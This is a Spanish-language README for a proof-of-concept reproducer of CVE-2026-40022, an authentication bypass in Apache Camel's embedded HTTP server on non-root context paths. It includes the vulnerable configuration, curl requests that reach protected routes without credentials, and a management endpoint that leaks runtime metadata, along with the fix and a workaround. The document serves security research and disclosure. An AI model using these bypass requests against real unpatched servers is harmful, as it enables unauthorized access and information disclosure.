
Reproductor para CVE-2026-40022: bypass de autenticación de Apache Camel camel-platform-http-main en rutas de contexto no raíz
Este proyecto demuestra un bypass de autenticación en el componente camel-platform-http-main de Apache Camel (el servidor HTTP/de gestión integrado del runtime main de Camel), registrado como CVE-2026-40022. Cuando la autenticación está habilitada y se configura una ruta de contexto no raíz (p. ej. /api o /admin), el manejador de autenticación solo cubre la ruta de contexto exacta, por lo que las solicitudes no autenticadas a subrutas alcanzan rutas de negocio protegidas y endpoints de gestión.
Aviso: https://camel.apache.org/security/CVE-2026-40022.html
| Propiedad | Valor |
|---|---|
| Componente | camel-platform-http-main (servidor HTTP/de gestión integrado del runtime main de Camel) |
| Clases afectadas | BasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer |
| Causa raíz | Cuando authenticationPath no está definido, se deriva de camel.server.path; con el modelo de montaje de sub-routers de Vert.x, el manejador de autenticación solo coincide con la ruta de contexto exacta, no con sus subrutas |
| CWE | CWE-287: Autenticación incorrecta (bypass de autenticación) |
| Impacto | Acceso no autenticado a rutas de negocio protegidas y endpoints de gestión (p. ej. divulgación de metadatos del runtime mediante /observe/info) |
| Versiones afectadas | Desde 4.14.1 antes de 4.14.6, y desde 4.15.0 antes de 4.18.2 |
| Versiones corregidas | 4.14.6, 4.18.2, 4.20.0 |
| Reportero | Jihang Yu |
| PRs | apache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x) |
BasicAuthenticationConfigurer (y JWTAuthenticationConfigurer) resuelven la ruta que el manejador de autenticación protege desde properties.getAuthenticationPath(), recurriendo a properties.getPath() (la ruta de contexto camel.server.path) cuando no se establece explícitamente:
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
El servidor Vert.x monta un sub-router en <contextPath>* y registra el manejador de autenticación dentro de ese sub-router en la ruta resuelta. En las versiones afectadas, la ruta resuelta es la propia ruta de contexto, por lo que — en relación con el sub-router ya montado en /api — el manejador de autenticación termina coincidiendo con /api/api en lugar de con cada subruta. Como resultado:
/api/api sí recibe desafío (401) — el manejador está presente, solo que mal delimitado/api/hello (la ruta de negocio real) no recibe desafío → se sirve sin credencialesLa corrección hace que resolveAuthenticationPath devuelva /*, de modo que el manejador cubre todas las subrutas del sub-router.
application.properties — una ruta de contexto no raíz con autenticación habilitada y authenticationPath sin definir:
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
La ruta se sirve en /api/hello.
No se requiere ningún servicio externo ni contenedor Docker: el servidor HTTP vulnerable es la propia aplicación.
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
El BasicAuthHandler está activo, pero está mal delimitado a la ruta de contexto exacta.
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (this is a PROTECTED business route)
En una versión corregida (4.14.6 / 4.18.2 / 4.20.0) esto devuelve 401 Unauthorized.
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
La misma falla se aplica al servidor de gestión (camel.management.path, p. ej. /admin). Una solicitud no autenticada a una subruta como /admin/observe/info alcanza el endpoint de gestión, que puede divulgar metadatos del runtime: el usuario del sistema operativo, el directorio de trabajo/hogar, el ID del proceso e información de JVM y del sistema operativo.
camel-platform-http-main.camel.server.path / camel.management.path).camel.server.authenticationPath / camel.management.authenticationPath no establecidas explícitamente.Actualice a 4.14.6 / 4.18.2 / 4.20.0. La corrección (resolveAuthenticationPath) hace que el manejador de autenticación cubra todas las subrutas:
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // was: the exact context path
}
Hasta que se actualice:
camel.server.authenticationPath = /* (y camel.management.authenticationPath = /*) para que el manejador cubra todas las subrutas.CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Camel main runtime entry point
│ └── HelloRoute.java # a protected platform-http route (/api/hello)
└── resources/
├── application.properties # non-root path + auth enabled (the vulnerable config)
└── auth.properties # basic-auth user (camel / propertiesPass)
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.